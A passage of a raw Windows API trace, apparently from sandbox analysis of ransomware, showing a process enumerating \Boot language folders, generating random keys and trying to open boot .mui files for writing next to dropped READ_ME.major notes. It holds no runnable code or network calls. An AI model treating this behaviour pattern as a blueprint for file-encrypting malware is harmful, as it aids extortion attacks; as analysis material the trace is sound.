GetLastError () returned 0x0 [0142.723] SetLastError (dwErrCode=0x0) [0142.723] GetLastError () returned 0x0 [0142.723] SetLastError (dwErrCode=0x0) [0142.723] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ecf0 [0142.723] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beec8 [0142.723] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0142.723] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca30 [0142.723] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b5770 [0142.723] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5770 | out: hHeap=0x570000) returned 1 [0142.723] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40450 [0142.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40450 | out: hHeap=0x570000) returned 1 [0142.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca30 | out: hHeap=0x570000) returned 1 [0142.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ecf0 | out: hHeap=0x570000) returned 1 [0142.724] FindNextFileW (in: hFindFile=0x5b56b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0142.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0142.724] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0142.724] GetLastError () returned 0x0 [0142.724] SetLastError (dwErrCode=0x0) [0142.724] GetLastError () returned 0x0 [0142.724] SetLastError (dwErrCode=0x0) [0142.724] GetLastError () returned 0x0 [0142.724] SetLastError (dwErrCode=0x0) [0142.724] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8c8 [0142.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8c8 | out: hHeap=0x570000) returned 1 [0142.724] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0142.724] FindNextFileW (in: hFindFile=0x5b56b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80739b5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x80739b5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x80739b5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0142.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0142.724] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0142.724] GetLastError () returned 0x0 [0142.724] SetLastError (dwErrCode=0x0) [0142.724] GetLastError () returned 0x0 [0142.724] SetLastError (dwErrCode=0x0) [0142.724] GetLastError () returned 0x0 [0142.724] SetLastError (dwErrCode=0x0) [0142.724] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc850 [0142.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc850 | out: hHeap=0x570000) returned 1 [0142.724] FindNextFileW (in: hFindFile=0x5b56b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80739b5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x80739b5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x80739b5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0142.724] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0142.724] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc38 [0142.725] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.725] SetFileAttributesW (lpFileName="\\Boot\\bg-BG\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0142.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0142.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0142.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0142.725] CreateFileW (lpFileName="\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0142.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc38 | out: hHeap=0x570000) returned 1 [0142.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0142.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0142.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc850 [0142.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc918 | out: hHeap=0x570000) returned 1 [0142.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8f0 | out: hHeap=0x570000) returned 1 [0142.725] FindFirstFileW (in: lpFileName="\\Boot\\cs-CZ\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x8099c4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b56f0 [0142.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0142.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0142.725] GetLastError () returned 0x5 [0142.726] SetLastError (dwErrCode=0x5) [0142.726] GetLastError () returned 0x5 [0142.726] SetLastError (dwErrCode=0x5) [0142.726] GetLastError () returned 0x5 [0142.726] SetLastError (dwErrCode=0x5) [0142.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e970 [0142.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0142.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0142.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc800 [0142.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b5730 [0142.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5730 | out: hHeap=0x570000) returned 1 [0142.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403c0 [0142.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403c0 | out: hHeap=0x570000) returned 1 [0142.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc800 | out: hHeap=0x570000) returned 1 [0142.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0142.726] FindNextFileW (in: hFindFile=0x5b56f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x8099c4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0142.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0142.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0142.726] GetLastError () returned 0x5 [0142.726] SetLastError (dwErrCode=0x5) [0142.726] GetLastError () returned 0x5 [0142.726] SetLastError (dwErrCode=0x5) [0142.726] GetLastError () returned 0x5 [0142.726] SetLastError (dwErrCode=0x5) [0142.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed60 [0142.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beec8 [0142.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0142.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc968 [0142.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b5730 [0142.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5730 | out: hHeap=0x570000) returned 1 [0142.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404e0 [0142.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404e0 | out: hHeap=0x570000) returned 1 [0142.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc968 | out: hHeap=0x570000) returned 1 [0142.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed60 | out: hHeap=0x570000) returned 1 [0142.727] FindNextFileW (in: hFindFile=0x5b56f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0142.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0142.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0142.727] GetLastError () returned 0x5 [0142.727] SetLastError (dwErrCode=0x5) [0142.727] GetLastError () returned 0x5 [0142.727] SetLastError (dwErrCode=0x5) [0142.727] GetLastError () returned 0x5 [0142.727] SetLastError (dwErrCode=0x5) [0142.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0142.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0142.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0142.727] FindNextFileW (in: hFindFile=0x5b56f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0142.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0142.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0142.727] GetLastError () returned 0x5 [0142.727] SetLastError (dwErrCode=0x5) [0142.727] GetLastError () returned 0x5 [0142.727] SetLastError (dwErrCode=0x5) [0142.727] GetLastError () returned 0x5 [0142.727] SetLastError (dwErrCode=0x5) [0142.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca30 [0142.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca30 | out: hHeap=0x570000) returned 1 [0142.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0142.727] FindNextFileW (in: hFindFile=0x5b56f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8099c4f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x8099c4f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x8099c4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0142.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0142.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0142.727] GetLastError () returned 0x5 [0142.727] SetLastError (dwErrCode=0x5) [0142.728] GetLastError () returned 0x5 [0142.728] SetLastError (dwErrCode=0x5) [0142.728] GetLastError () returned 0x5 [0142.728] SetLastError (dwErrCode=0x5) [0142.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc9e0 [0142.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc9e0 | out: hHeap=0x570000) returned 1 [0142.728] FindNextFileW (in: hFindFile=0x5b56f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8099c4f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x8099c4f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x8099c4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0142.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0142.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaf8 [0142.728] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.728] SetFileAttributesW (lpFileName="\\Boot\\cs-CZ\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0142.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0142.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0142.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0142.728] CreateFileW (lpFileName="\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0142.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaf8 | out: hHeap=0x570000) returned 1 [0142.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0142.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0142.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0142.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc9e0 [0142.728] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.728] SetFileAttributesW (lpFileName="\\Boot\\cs-CZ\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0142.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0142.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0142.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0142.729] CreateFileW (lpFileName="\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0142.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc9e0 | out: hHeap=0x570000) returned 1 [0142.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0142.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0142.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8a0 [0142.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc850 | out: hHeap=0x570000) returned 1 [0142.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc9b8 | out: hHeap=0x570000) returned 1 [0142.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca80 | out: hHeap=0x570000) returned 1 [0142.730] FindFirstFileW (in: lpFileName="\\Boot\\da-DK\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8099c4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b5730 [0142.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0142.730] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0142.730] GetLastError () returned 0x5 [0142.730] SetLastError (dwErrCode=0x5) [0142.730] GetLastError () returned 0x5 [0142.730] SetLastError (dwErrCode=0x5) [0142.730] GetLastError () returned 0x5 [0142.730] SetLastError (dwErrCode=0x5) [0142.730] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec48 [0142.730] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0142.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0142.730] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc850 [0142.730] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b57b0 [0142.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b57b0 | out: hHeap=0x570000) returned 1 [0142.730] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0142.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0142.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc850 | out: hHeap=0x570000) returned 1 [0142.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec48 | out: hHeap=0x570000) returned 1 [0142.730] FindNextFileW (in: hFindFile=0x5b5730, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8099c4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0142.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0142.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0142.731] GetLastError () returned 0x5 [0142.731] SetLastError (dwErrCode=0x5) [0142.731] GetLastError () returned 0x5 [0142.731] SetLastError (dwErrCode=0x5) [0142.731] GetLastError () returned 0x5 [0142.731] SetLastError (dwErrCode=0x5) [0142.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea18 [0142.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee18 [0142.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0142.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc800 [0142.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b5770 [0142.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5770 | out: hHeap=0x570000) returned 1 [0142.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405a0 [0142.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405a0 | out: hHeap=0x570000) returned 1 [0142.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc800 | out: hHeap=0x570000) returned 1 [0142.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea18 | out: hHeap=0x570000) returned 1 [0142.731] FindNextFileW (in: hFindFile=0x5b5730, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0142.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0142.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0142.731] GetLastError () returned 0x5 [0142.731] SetLastError (dwErrCode=0x5) [0142.731] GetLastError () returned 0x5 [0142.731] SetLastError (dwErrCode=0x5) [0142.731] GetLastError () returned 0x5 [0142.731] SetLastError (dwErrCode=0x5) [0142.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb20 [0142.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb20 | out: hHeap=0x570000) returned 1 [0142.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0142.731] FindNextFileW (in: hFindFile=0x5b5730, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0142.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0142.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0142.732] GetLastError () returned 0x5 [0142.732] SetLastError (dwErrCode=0x5) [0142.732] GetLastError () returned 0x5 [0142.732] SetLastError (dwErrCode=0x5) [0142.732] GetLastError () returned 0x5 [0142.732] SetLastError (dwErrCode=0x5) [0142.732] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca80 [0142.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca80 | out: hHeap=0x570000) returned 1 [0142.732] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7720 [0142.732] FindNextFileW (in: hFindFile=0x5b5730, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8099c4f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x8099c4f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x8099c4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0142.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0142.732] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0142.732] GetLastError () returned 0x5 [0142.732] SetLastError (dwErrCode=0x5) [0142.732] GetLastError () returned 0x5 [0142.732] SetLastError (dwErrCode=0x5) [0142.732] GetLastError () returned 0x5 [0142.732] SetLastError (dwErrCode=0x5) [0142.732] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaf8 [0142.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaf8 | out: hHeap=0x570000) returned 1 [0142.732] FindNextFileW (in: hFindFile=0x5b5730, lpFindFileData=0x2e3fb24 | out: 